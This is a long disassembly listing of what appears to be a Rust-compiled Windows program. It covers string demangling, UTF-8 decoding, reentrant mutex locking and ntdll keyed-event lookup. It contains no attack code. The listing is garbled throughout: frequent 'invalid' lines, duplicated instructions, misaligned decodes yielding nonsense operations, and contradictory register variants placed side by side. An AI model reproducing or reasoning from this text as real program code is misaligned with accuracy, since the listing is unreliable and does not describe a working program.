movzx ebp, byte [rsp + 0x28]
mov dh, 0x6c
and al, 0x28
mov dh, 0x6c
and al, 0x28
jmp case.0x14010aa3a.848
nop dword [rax + rax]
mov edx, dword [rsp + 0x2c]
and al, 0x2c
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
sub byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x28
sub byte [rax], al
add byte [rax], al
invalid
sub byte [rax], al
add byte [rax], al
add byte [rcx], dh
in eax, dx
xor ebp, ebp
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
call qword [rax + 0x20]
test al, al
jne 0x14014392d
cmp bpl, 0x80
je 0x1401438d0
movzx eax, byte [rsp + 0x32]
mov dh, 0x44
and al, 0x32
cmp al, byte [rsp + 0x33]
jae 0x14014391c
xor esi, dword [rbx + 0x15]
movzx ecx, al
lea edx, [rax + 1]
mov byte [rsp + 0x32], dl
cmp al, 0xa
jae 0x140143954
movzx edx, byte [rsp + rcx + 0x28]
jmp 0x1401438e7
mov ebp, 0x110000
cmp ebp, 0x22
jne 0x1401438ad
jmp 0x14014388b
mov eax, edi
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
ret
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x20]
mov edx, 0x27
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
jmp rax
lea r8, [0x1401c08a8]
mov edx, 0xa
call fcn.140186a70
ud2
fild dword [rdi]
add byte [rbp + rcx*4 + 0x3d], cl
rol dword fs:[rdi], 0
xor r12d, r12d
mov r9, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
cmp rax, r9
or byte [rax - 0x75], cl
adc byte [rcx + r15 - 0x38], r9b
jae 0x140143db7
or eax, dword [rcx - 0x80]
cmp al, 0
je 0x140143fe2
cmp byte [r8 + rax], 0x45
je 0x140143fe2
test r12, r12
je 0x140143def
invalid
xor ecx, dword [rax - 0x75]
and byte [rax - 0x7b], r9b
leave
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140143def
mov r8d, 2
mov rdx, r15
call fcn.140013e80
test al, al
jne 0x140143f76
mov r8, qword [rsi]
test r8, r8
je case.0x140115bd4.489
mov r9, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
cmp rax, r9
jae 0x140143ee0
cmp byte [r8 + rax], 0x73
jne 0x140143ee0
lea rcx, [rax + 1]
mov qword [rsi + 0x10], rcx
cmp rcx, r9
jae 0x140143e24
cmp byte [r8 + rcx], 0x5f
jne 0x140143e24
add rax, 2
mov qword [rsi + 0x10], rax
jmp 0x140143ee0
xor eax, eax
nop word cs:[rax + rax]
cmp rcx, r9
jae 0x140143f57
movzx edx, byte [r8 + rcx]
cmp dl, 0x5f
je 0x140143ec4
invalid
add byte [rbp + rcx*4 + 0x52], al
rol byte [rcx - 0x80], 1
cli
or dh, byte [rdx + 0x23]
lea r10d, [rdx - 0x30]
cmp r10b, 0xa
jb case.0x14011633f.489
lea r10d, [rdx - 0x61]
cmp r10b, 0x1a
jae 0x140143e60
add dl, 0xa9
jmp 0x140143e71
invalid
adc dword [rbp + rcx*4 + 0x52], eax
mov edi, 0x1afa8041
lea r10d, [rdx - 0x41]
cmp r10b, 0x1a
jae 0x140143f57
add dl, 0xe3
mov r10d, edx
inc rcx
mov qword [rsi + 0x10], rcx
mul rbp
jo 0x140143f57
add byte [rax], al
add byte [rax], al
movzx edx, r10b
add rax, rdx
jae 0x140143e30
jmp 0x140143f57
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140143f89
mov r13d, 1
mov r8d, 1
lea rdx, str._for_____::closureshim_as__mut_const___dyn___unsafe_extern__
call fcn.140013e80
test al, al
je 0x140143f46
jmp 0x140143f8c
inc rcx
mov qword [rsi + 0x10], rcx
inc rax
je 0x140143f57
cmp rax, 0xffffffffffffffff
je 0x140143f57
mov rcx, rdi
mov rdx, rsi
call fcn.1401418c0
cmp qword [rsp + 0x20], 0
je 0x140143fa0
movups xmm0, xmmword [rsp + 0x20]
and al, 0x20
movups xmm1, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
mov r13, qword [rsi + 0x20]
test r13, r13
je 0x140143f38
invalid
and al, 0x48
mov ecx, ebx
mov rcx, rbx
mov rdx, r13
call fcn.140141af0
test al, al
jne 0x140143f76
mov r8d, 2
mov rcx, r13
add byte [rcx + rcx*4 - 0x17], cl
mov rdx, r14
call fcn.140013e80
test al, al
jne 0x140143f76
mov rcx, rsi
mov dl, 1
call fcn.1401428a0
test al, al
jne 0x140143f76
mov r8, qword [rsi]
inc r12
test r8, r8
jne 0x140143d9f
jmp 0x140143f89
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140143f7e
lea rdx, str.invalid_syntaxrecursion_limit_reached
mov r8d, reloc.WS2_32.dll_recv
call fcn.140013e80
test al, al
je 0x140143f7e
mov r13d, 1
jmp 0x140143f8c
mov qword [rsi], 0
mov byte [rsi + 8], 0
xor r13d, r13d
mov rax, r13
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movzx ebx, byte [rsp + 0x28]
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140143fd6
test bl, bl
lea rax, str.invalid_syntaxrecursion_limit_reached
lea rdx, [0x1401bfec0]
cmove rdx, rax
movzx eax, bl
lea r8, [rax + rax*8]
add al, 0xc0
add al, 0xc0
add r8, 0x10
call fcn.140013e80
test al, al
jne 0x140143f76
mov qword [rsi], 0
mov byte [rsi + 8], bl
jmp 0x140143f89
add byte [rax - 0x5814f7a2], cl
inc rax
inc eax
mov qword [rsi + 0x10], rax
jmp 0x140143f89
sahf
sahf
int3
push rsi
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xb0
in al, dx
mov al, 0
add byte [rax], al
in al, dx
mov al, 0
add byte [rax], al
mov rdx, qword [rcx + 8]
mov r8, qword [rcx + 0x20]
mov eax, 0x110001
sub rdx, r8
jb 0x1401443f8
mov rax, qword [rcx]
lea r9, [rax + r8]
mov qword [rcx], r9
mov qword [rcx + 8], rdx
cmp r8, 2
jne 0x140144439
movzx r10d, byte [rax]
movzx r8d, byte [rax + 1]
lea eax, [r10 - 0x30]
cmp eax, 0xa
jb 0x14014405b
or r10d, 0x20
add r10d, 0xffffff9f
add r10d, 0xa
mov eax, 0xffffffff
cmovae eax, r10d
cmp eax, 0x10
jae 0x14014441f
lea r11d, [r8 - 0x30]
cmp r11d, 0xa
or dh, byte [rdx + 0x20]
or dh, byte [rdx + 0x20]
or r8d, 0x20
add r8d, 0xffffff9f
add r8d, 0xa
mov r11d, 0xffffffff
mov ebx, 0xffffffff
mov ebx, 0xffffffff
cmovae r11d, r8d
cmp r11d, 0x10
jae 0x14014441f
shl al, 4
loopne 0x14014408c
or r11b, al
js 0x1401440db
mov byte [rsp + 0x24], r11b
mov byte [rsp + 0x24], r11b
and al, 0x24
mov word [rsp + 0x25], 0
add byte [rax], al
mov byte [rsp + 0x27], 0
and al, 0x27
add byte [rax - 0x73], cl
lea rax, [rsp + 0x24]
lea rax, [rsp + 0x24]
lea eax, [rsp + 0x24]
mov qword [rsp + 0x28], rax
and al, 0x28
mov qword [rsp + 0x30], 1
mov r8d, 1
add dword [rax], eax
add byte [rax], al
invalid
xor byte [rcx], al
add byte [rax], al
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x73], cl
je case.0x14011d1d3.276
lea rsi, [rsp + 0x40]
lea rdx, [rsp + 0x24]
lea rdx, [rsp + 0x24]
mov rcx, rsi
call fcn.140014980
or ch, ch
dec dword [rax - 0x7d]
jl 0x1401440f1
invalid
invalid
or ch, ch
dec dword [rax - 0x7d]
jl 0x1401440f1
add byte [rcx + rdi - 0x48], sil
add byte [rax], al
adc dword [rax], eax
je 0x14014410a
mov eax, 0x110000
jmp 0x1401443f8
mov eax, 0x110000
cmp r11b, 0xc0
jb 0x1401443f8
add byte [rcx - 0x80], al
sti
ror byte [rdi], 0x82
invalid
cmp r11b, 0xe0
jb case.0x140119330.309
cmp r11b, 0xf0
cmp bl, 0xf0
jae 0x1401441a3
test eax, 0x41000000
mov eax, 3
mov r8d, 3
mov r10b, 1
xor eax, eax
jmp 0x1401441b8
mov rcx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x70], rcx
and al, 0x70
and al, 0x70
mov qword [rsp + 0x78], rax
lea rdx, [rcx + rax]
test rax, rax
je 0x140144137
movzx eax, byte [rcx]
test al, al
js 0x140144151
lea r8, [rcx + 1]
lea eax, [rcx + 1]
jmp 0x14014437b
mov eax, 0x110000
adc dword [rax], eax
mov r8, rcx
jmp 0x14014437b
invalid
add byte [rcx - 0x48], al
add al, byte [rax]
add byte [rax], al
mov r8d, 2
xor r10d, r10d
xor edx, edx
xor eax, eax
jmp 0x1401441b8
shr bl, 0x67
mov r9d, eax
mov ecx, eax
rol dword [rcx - 0x7d], 0xe1
invalid
and r9d, 0x1f
movzx r11d, byte [rcx + 1]
movzx ebx, byte [rcx + 1]
movzx ebx, byte [rcx + 1]
pop rcx
add dword [rcx - 0x7d], eax
jrcxz 0x1401441a0
invalid
and r11d, 0x3f
and ebx, 0x3f
invalid
cmp al, 0xdf
jbe 0x14014435d
add byte [rax], al
fisttp word [rdi]
xchg ah, dh
add dword [rax], eax
invalid
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
push rcx
add al, byte [rcx - 0x3f]
movzx r10d, byte [rcx + 2]
shl r11d, 6
jrcxz 0x140144178
shl ebx, 6
jrcxz 0x140144178
and r10d, 0x3f
or r10d, r11d
or edx, ebx
fidivr dword [rax + rsi*8]
cmp al, 0xf0
jb 0x14014436d
invalid
in al, dx
add dword [rax], eax
add byte [rbp + rcx*4 + 0x41], cl
invalid
lea r8, [rcx + 4]
movzx eax, byte [rcx + 3]
and r9d, 7
and ecx, 7
add al, 0xf
add al, 0xf
mov dh, 0x41
add eax, dword [rcx - 0x7d]
and ecx, 7
and ecx, 7
shl r9d, 0x12
shl r10d, 6
and eax, 0x3f
invalid
or eax, r10d
or eax, r9d
jmp 0x14014437b
fadd dword [rcx]
add byte [rax], al
fadd dword [rcx]
add byte [rax], al
add dword [rax], eax
add byte [rcx - 0x80], al
sti
cmp r11b, 0xf8
clc
jae 0x1401443f8
or dword [rbx + 2], 0
add byte [rcx - 0x48], al
invalid
invalid
mov r8d, 4
add al, 0
add byte [rax], al
mov al, 1
xor r10d, r10d
xor edx, edx
add dword [rbp + 0x31], eax
rol byte [rax + rcx*4 + 0x5c], cl
and al, 0x24
xor edx, edx
mov byte [rsp + 0x24], r11b
mov word [rsp + 0x25], 0
mov dword [rsp + 0x25], 0x44c60000
and al, 0x27
add byte [rax - 0x73], cl
je 0x1401441f1
mov byte [rsp + 0x27], 0
lea rsi, [rsp + 0x24]
mov qword [rsp + 0x28], rsi
and al, 0x48
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x30], r8
cmp rdx, 2
jb 0x1401440d1
invalid
invalid
invalid
invalid
lea rdi, [r9 + 2]
lea rsi, [rdx - 2]
mov qword [rcx], rdi
mov qword [rcx + 8], rsi
movzx r14d, byte [r9]
movzx ebx, byte [r9 + 1]
pop rcx
add dword [rcx - 0x73], eax
jle 0x1401441ce
cmp edi, 0xa
dec dword [rdx]
xor dword [rcx + 0xf], eax
mov dh, 0x59
pop rcx
pop rcx
add dword [rcx - 0x73], eax
jle 0x1401441ce
dec dword [rdx]
jb case.0x14012082a.284
or r14d, 0x20
add r14d, 0xffffff9f
add r14d, 0xa
add esi, 0xa
and byte [rcx - 0x7d], al
invalid
add esi, 0xa
invalid
mov edi, 0xffffffff
inc dword [rcx + 0xf]
cmovae edi, r14d
cmp edi, 0xf
invalid
ja 0x14014441f
xchg esi, edi
add dword [rax], eax
invalid
inc byte [r11 - 0x78f0f001]
inc byte [rcx]
add byte [rax], al
invalid
xchg esi, edi
add dword [rax], eax
add byte [rbp - 0x27c2f95], cl
lea ebp, [rbx - 0x30]
cmp ebp, 0xa
jb 0x140144243
invalid
lea ebp, [rbx - 0x30]
cmp ebp, 0xa
jb 0x140144243
invalid
rol byte [rbx + 0x1a720afd], 1
sbb al, byte [rbx - 0x3c7cdf35]
lahf
or ebx, 0x20
add ebx, 0xffffff9f
retf
add ebx, 0xa
mov ebp, 0xffffffff
ret
or bh, byte [rbp - 1]
cmovae ebp, ebx
cmp ebp, 0xf
ja 0x14014441f
xchg esp, ebx
add dword [rax], eax
invalid
jmp 0x1401441be
xchg esp, ebx
add dword [rax], eax
add byte [rax - 0x40], al
shl dil, 4
out 4, eax
or bpl, dil
mov byte [rsp + 0x25], bpl
insb byte [rdi], dx
and al, 0x25
insb byte [rdi], dx
and al, 0x25
and eax, 0xe0fb8041
cmp r11b, 0xe0
jb 0x1401440b7
pop rsi
invalid
cmp rsi, 2
inc byte [rdx]
add cl, byte [rdi]
invalid
jb 0x1401440d1
lea rsi, [r9 + 4]
lea r11, [rdx - 4]
mov qword [rcx], rsi
mov qword [rcx + 8], r11
movzx ebx, byte [r9 + 2]
movzx edi, byte [r9 + 3]
lea esi, [rbx - 0x30]
cmp esi, 0xa
jb 0x14014429e
or ebx, 0x20
add ebx, 0xffffff9f
add ebx, 0xa
mov esi, 0xffffffff
invalid
invalid
invalid
dec dword [rdi]
cmp esi, 0xf
ja 0x14014441f
lea ebx, [rdi - 0x30]
cmp ebx, 0xa
sti
or dh, byte [rdx + 0x1a]
sti
or dh, byte [rdx + 0x1a]
or edi, 0x20
add edi, 0xffffff9f
add edi, 0xa
mov ebx, 0xffffffff
cmovae ebx, edi
cmp ebx, 0xf
ja 0x14014441f
xchg dword [rdi + 1], ebx
add byte [rax], al
xchg dword [rdi + 1], ebx
add byte [rax], al
shl sil, 4
or bl, sil
mov byte [rsp + 0x26], bl
test r10b, r10b
jne 0x1401440b7
lea r10, [r9 + 6]
add rdx, 0xfffffffffffffffa
add edx, 0xfffffffa
mov qword [rcx], r10
mov qword [rcx + 8], rdx
movzx r10d, byte [r9 + 4]
movzx edx, byte [r9 + 5]
lea ecx, [r10 - 0x30]
lea ecx, [rdx - 0x30]
cmp ecx, 0xa
jb 0x14014431e
invalid
invalid
or r10d, 0x20
add r10d, 0xffffff9f
ret 0x419f
add edx, 0xa
or bh, byte [rcx - 1]
ret 0x419f
or bh, byte [rcx - 1]
cmovae ecx, r10d
cmp ecx, 0xf
ja 0x14014441f
retf 0xf983
lea r9d, [rdx - 0x30]
cmp r9d, 0xa
stc
or dh, byte [rdx + 0x1d]
stc
or dh, byte [rdx + 0x1d]
or edx, 0x20
add edx, 0xffffff9f
add edx, 0xa
mov r9d, 0xffffffff
mov ecx, 0xffffffff
mov ecx, 0xffffffff
cmovae r9d, edx
cmp r9d, 0xf
ja 0x14014441f
xchg edx, ebx
add byte [rax], al
invalid
retf 0x8341
xchg edx, ebx
add byte [rax], al
add byte [rax + rax*8 + 0xb9840f], al
je 0x140144406
test al, al
je 0x140144406
shl cl, 4
or r9b, cl
mov byte [rsp + 0x27], r9b
invalid
jmp 0x1401440b7
invalid
lea r8, [rcx + 2]
lea eax, [rcx + 2]
shl r9d, 6
or r9d, r11d
mov eax, r9d
jmp 0x14014437b
invalid
invalid
lea r8, [rcx + 3]
shl r9d, 0xc
or r10d, r9d
retf 0x8944
invalid
cmp r8, rdx
je case.0x140135311.170
movzx r9d, byte [r8]
test r9b, r9b
jns 0x140144453
add byte [rax], al
add byte [rax], al
cmp r9b, 0xe0
jb 0x140144453
invalid
invalid
add byte [rax], al
invalid
invalid
stc
invalid
add byte [rbp + 0xf], al
mov dh, 0x50
add dword [rcx - 0x7d], eax
loop case.0x140135311.170
shl r10d, 0xc
shl r11d, 6
invalid
or r11d, r10d
and r8d, 0x3f
invalid
or r8d, r11d
or r8d, r9d
invalid
invalid
invalid
enter 0xffffffffffff8141, 0xfffffffffffffff8
add byte [rax], al
adc dword [rax], eax
invalid
cmp r8d, 0x110000
add byte [rcx + 0xf], al
xchg esp, eax
sar byte [0x1402543e6], 0x75
add byte [rcx], dl
add byte [rbp + 0xc], dh
jmp 0x140144453
mov r8b, 1
sete r8b
cmp eax, 0x110000
add byte [rcx], dl
invalid
add byte [rcx], dl
add byte [rbp + 0xc], dh
jne 0x1401443f3
jmp 0x140144453
mov r8b, 1
cmp eax, 0x110000
je 0x140144453
add byte [rax + riz*2 + 0x45], dh
test al, al
je 0x140144453
add rsp, 0xb0
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
lea rax, str.C:Users_runneradmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rustc_demangle_0.1.23_src_v0.rs
mov ecx, 3
add byte [rax], al
mov rdx, r8
mov r8, rax
shr al, 0x53
add al, 0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.C:Users_runneradmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rustc_demangle_0.1.23_src_v0.rs
mov edx, 0x2b
call fcn.140186b70
ud2
lea rcx, str.internal_error:_entered_unreachable_code_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadmod.rs
lea r8, str.C:Users_runneradmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rustc_demangle_0.1.23_src_v0.rs
mov edx, 0x28
call fcn.140186b70
ud2
call fcn.140144760
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
lea rax, [0x140144840]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x50], rax
lea rax, [0x140063ed0]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x38]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140013600]
mov qword [rsp + 0x68], rax
lea rax, str.internal_error:_entered_unreachable_code:_str::from_utf8_____was_expected_to_have_1_char__but__chars_were_found0
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 4
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x98], 3
lea rdx, str.C:Users_runneradmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rustc_demangle_0.1.23_src_v0.rs
lea rcx, [rsp + 0x80]
call fcn.1401869b0
ud2
and byte [rax - 0x73], cl
push 0x40
mov rax, qword [rbp - 0x18]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 0x10]
call fcn.140005270
mov rcx, qword [rbp - 0x20]
call fcn.140029350
nop
add rsp, 0x20
pop rbp
ret
mov dword [rbp], 0xfffffffe
mov eax, dword [rcx + rax*8]
js 0x140149c78
add byte [rax], al
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax - 0x73], cl
add eax, 0x783d6
lea ecx, [rbp - 0x10]
mov rdx, rdi
mov r8d, ebx
mov r9, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp rax
sub esp, 0x28
mov esi, r9d
mov rdi, r8
mov ebx, edx
mov r14, rcx
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x14014a2eb
lea rdx, str.NtCreateKeyedEvent
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x14014a2f2
lea rax, [0x14014a310]
mov qword [0x14023c080], rax
mov rcx, r14
mov edx, ebx
mov r8, rdi
mov r9d, esi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp rax
lea rbp, [rdx + 0x60]
call fcn.140187040
ud2
int3
lea ecx, [rsp + 0x20]
add byte [rax], al
add byte [rax], al
invalid
or byte [rax + 0x39], 0xc1
add byte [rax + 0x75c13948], al
sub eax, 0x50c48348
mov dword [rax + 0x48], ecx
test ecx, ecx
int3
mov ebx, eax
mov rdi, rdx
mov r14, rcx
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x14014a4cc
lea rdx, str.NtReleaseKeyedEvent
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x14014a4d3
lea rax, case.0x1401194fb.337
lea eax, case.0x1401194fb.337
add byte [rax - 0x77], cl
add eax, 0xf1bae
mov qword [0x14023c088], rax
mov rcx, r14
mov rdx, rdi
mov r8d, ebx
fmul dword [rcx - 0x77]
int1
fmul dword [rcx - 0x77]
int1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp rax
jmp rax
jmp rax
int3
push rbp
sub rsp, 0x60
lea rbp, [rsp + 0x60]
mov qword [rbp - 8], 0xfffffffffffffffe
lea rax, str.keyed_events_not_available
dec dword [rax - 0x73]
add eax, 0x790af
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
lea rax, [0x1401ea218]
lea eax, [0x1401ea218]
in al, dx
cld
or dword [rax], eax
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
loopne 0x14014a580
lea edx, [0x1401c3628]
loopne 0x14014a580
loopne 0x14014a580
lea edx, [0x1401c3628]
lea rcx, [rbp - 0x38]
call fcn.1401869b0
invalid
add eax, dword [rax]
ud2
invalid
adc byte [rbp + 0x48], dl
sub esp, 0x20
lea rbp, [rdx + 0x60]
call fcn.140187040
ud2
int3
and al, ch
or al, byte [rax]
add byte [rax], al
nop
add rsp, 0x28
ret
mov qword [rbp - 8], 0xfffffffffffffffe
mov rax, qword [rcx]
add dword [rax + 0xc60038], eax
add byte [rdi], cl
test byte [rax + 1], bl
add byte [rax], al
add dword [rax + 0xc60038], eax
add byte [rdi], cl
test byte [rax + 1], bl
add byte [rax], al
mov byte [rbp - 9], 0
mov rax, qword [0x14023c1d0]
adc al, 0x1c
str word [rax - 0x7d]
clc
add ecx, dword [rdi]
test dword [rax], edx
add dword [rax], eax
invalid
adc al, 0x1c
str word [rax - 0x7d]
clc
add ecx, dword [rdi]
test dword [rax], edx
add dword [rax], eax
add byte [rax + 0xf00f77d], al
test dword [rax], 0x119850f
add byte [rax], al
invalid
invalid
test dword [rax], 0x119850f
add byte [rax], al
mov rax, qword [0x14023c198]
add eax, 0xf1bc1
mov ecx, dword [0x14023c30c]
mov rdx, qword gs:[0x58]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rcx, qword [rdx + rcx*8]
lea rcx, [rcx + 0x79]
jns 0x14014a5ef
add byte [rax], al
mov dword [rcx], edi
jns 0x14014a5ef
add byte [rax], al
add byte [rax + 0x39], cl
enter 0x2475, 0xffffffffffffff8b
add eax, 0xf1bcc
add byte [rax], al
cmp rax, rcx
jne 0x14014a61a
mov eax, dword [0x14023c1c8]
inc eax
jne 0x14014a655
lea rcx, str.lock_count_overflow_in_reentrant_mutexlibrary_std_src_sync_remutex.rs
lea r8, [0x1401c1df8]
mov edx, 0x26
call fcn.140186f60
ud2
invalid
or ecx, dword [rax - 0x73]
or eax, 0xf1b6f
lea rcx, [0x14023c190]
call qword [sym.imp.KERNEL32.dll_TryAcquireSRWLockExclusive]
test al, al
je 0x14014a6e9
invalid
add byte [rbx + 0xf1cd705], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rax, [rax + 0x79]
jns 0x14014a647
add byte [rax], al
jns 0x14014a647
add byte [rax], al
mov qword [0x14023c198], rax
mov eax, 1
invalid
mov dword [0x14023c1c8], eax
mov qword [rbp - 0x30], 1
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
fmul dword [r8 - 0x39]
out 0, al
add byte [rax], al
invalid
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
fmul dword [r8 - 0x39]
out 0, al
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
invalid
cmp eax, 0xf1b26
cmp qword [0x14023c1a0], 0
jne 0x14014a723
add byte [rdi], cl
test dword [rbx + 0x48000000], esp
mov dword [0x14023c1a0], 0xffffffff
add bh, bh
invalid
invalid
invalid
mov qword [0x14023c1a0], 0xffffffffffffffff
add bh, bh
invalid
lea rcx, [0x14023c1a8]
call fcn.14014a7f0
movups xmm0, xmmword [rbp - 0x30]
add byte [rdi], cl
adc byte [rbp - 0x30], al
movups xmm1, xmmword [rbp - 0x20]
movups xmmword [0x14023c1b8], xmm1
or eax, 0xf1b12
str word [rdi]
adc dword [0x14023c1a8], eax
str word [rdi]
adc dword [0x14023c1a8], eax
inc qword [0x14023c1a0]
dec dword [0x14023c1c8]
or eax, 0xf1b0e
invalid
or eax, 0xf1b0e
jne 0x14014a6e9
mov qword [0x14023c198], 0
lea rcx, [0x14023c190]
or eax, 0xf1ac2
or eax, 0xf1ac2
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
jmp 0x14014a6e9
mov word [rcx + 4], cs
add bl, ch
adc ecx, dword [rax - 0x73]
imul r8
xor dword [rax], esi
add al, 0
add byte [rax + 0xf00f77d], al
test bh, ah
invalid
invalid
invalid
add byte [rax + 0xf00f77d], al
test bh, ah
invalid
mov rax, qword [0x14023c260]
cmp rax, 3
je case.0x1401313db.210
add rsp, 0x50
pop rbp
ret
call qword [0x14023c268]
nop
add rsp, 0x50
invalid
push rax
pop rbp
ret
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.library_std_src_synconce.rs
add eax, 0x775d9
add eax, 0x775d9
mov edx, 0x2b
call fcn.140186b70
ud2
lea rcx, str.library_std_srcio_stdio.rs
call fcn.140186e00
ud2
invalid
or esp, dword [rsi + 0x66]
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x50]
lea rcx, [0x14023c190]
call fcn.14014a7d0
add byte [rax], al
nop
add rsp, 0x20
pop rbp
ret
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x50]
lea rcx, [rbp - 0x30]
shr r8b, 1
imul eax, dword [rax], 0x48900000
add esp, 0x20
shr r8b, 1
imul eax, dword [rax], 0x48900000
add esp, 0x20
pop rbp
ret
movups xmmword [0x14023c1b8], xmm1
movups xmmword [0x14023c1a8], xmm0
lea rcx, [0x14023c1a0]
call fcn.14014a920
invalid
add dword [rax], eax
add byte [rax + 0x20c48348], dl
pop rbp
ret
add byte [rax], al
add byte [rax], al
jmp qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
sbb cl, byte [rdi]
add byte [rcx], dh
ror byte [rax - 0x7d], cl
invalid
call 0x14015a917
add byte [rax - 0x7b], cl
ror byte [rax - 0x75], 0x4d
call 0xc95677af
rol byte [rcx - 0x7d], 0xe0
add ecx, dword [rcx - 0x73]
lea rdx, [r8 - 2]
cmp rdx, 2
jb 0x14014a808
test r8, r8
je 0x14014a808
cmp eax, 3
jne 0x14014a99e
mov byte [rcx + 0x18], 0
mov rax, rdi
shr rax, 0x20
cmp eax, 0x23
mov rax, qword [rbp - 8]
je 0x14014a9c0
jmp 0x14014aaee
mov rax, rdi
shr rax, 0x20
and byte [rbx - 0x7bf0f908], al
invalid
add dword [rax], eax
invalid
and byte [rbx - 0x7bf0f908], al
invalid
jmp 0x14014aae6
mov rdx, qword [rcx + 0x10]
mov rbx, rdx
sub rbx, rax
jbe 0x14014aaca
mov byte [rcx + 0x18], 1
mov r8, qword [rcx]
mov qword [rbp - 8], rax
add r8, rax
mov qword [rsp + 0x20], r14
mov rcx, rsi
mov edx, 0xfffffff5
invalid
invalid
dec dword [rcx - 0x77]
fld1
insd dword [rdi], dx
add al, byte [rax]
add byte [rax - 0x7d], cl
jge 0x14014a9bf
add byte [rdi], cl
invalid
scasd eax, dword [rdi]
add byte [rax], al
invalid
invalid
mov rdi, qword [rbp - 0x30]
mov eax, edi
and eax, 3
cmp rax, 2
mov rcx, qword [rbp - 0x10]
jae case.default.0x14014aa20
mov byte [rcx + 0x18], 0
movsxd rax, dword [r12 + rax*4]
add rax, r12
jmp rax
jne 0x14014aaea
lea rax, [rdi - 1]
mov qword [rbp - 0x28], rax
mov rcx, qword [rdi - 1]
mov rax, qword [rdi + 7]
mov qword [rbp - 0x18], rcx
call 0x1205a33aa
call 0x1205a33aa
call qword [rax]
mov rax, qword [rbp - 0x20]
cmp qword [rax + 8], 0
je 0x14014aa90
cmp qword [rax + 0x10], 0x11
jae 0x14014aa7c
mov r8, qword [rbp - 0x18]
jmp 0x14014aa84
mov r8, qword [rbp - 0x18]
mov r8, qword [r8 - 8]
mov eax, dword [rax - 8]
mov eax, dword [rax - 8]
mov rcx, qword [0x14023c258]
xor edx, edx
call r13
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbp - 0x28]
call r13
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
jmp 0x14014a9c0
mov rbx, qword [rbp - 0x30]
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov byte [rcx + 0x18], 0
test rbx, rbx
je 0x14014aae1
add rax, rbx
jmp 0x14014a9c0
test rax, rax
je 0x14014aadd
xor esi, esi
mov edi, 0
cmp rdx, rax
jae 0x14014ab22
jmp 0x14014ab3a
xor edi, edi
jmp 0x14014ab26
mov rdi, r15
jmp 0x14014aaee
mov byte [rcx + 0x18], 0
mov rax, qword [rbp - 8]
test rax, rax
je 0x14014ab26
mov rdx, qword [rcx + 0x10]
